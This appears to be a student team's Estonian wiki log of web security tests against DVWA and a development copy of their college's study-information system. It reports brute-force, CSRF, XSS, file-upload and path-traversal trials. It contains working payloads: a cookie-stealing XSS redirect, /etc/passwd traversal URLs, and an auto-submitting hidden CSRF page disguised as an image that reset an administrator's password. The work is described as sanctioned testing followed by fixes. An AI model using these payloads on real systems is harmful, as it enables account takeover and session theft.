Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==Väike upload tegevus, mis võiks olla teisiti==&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
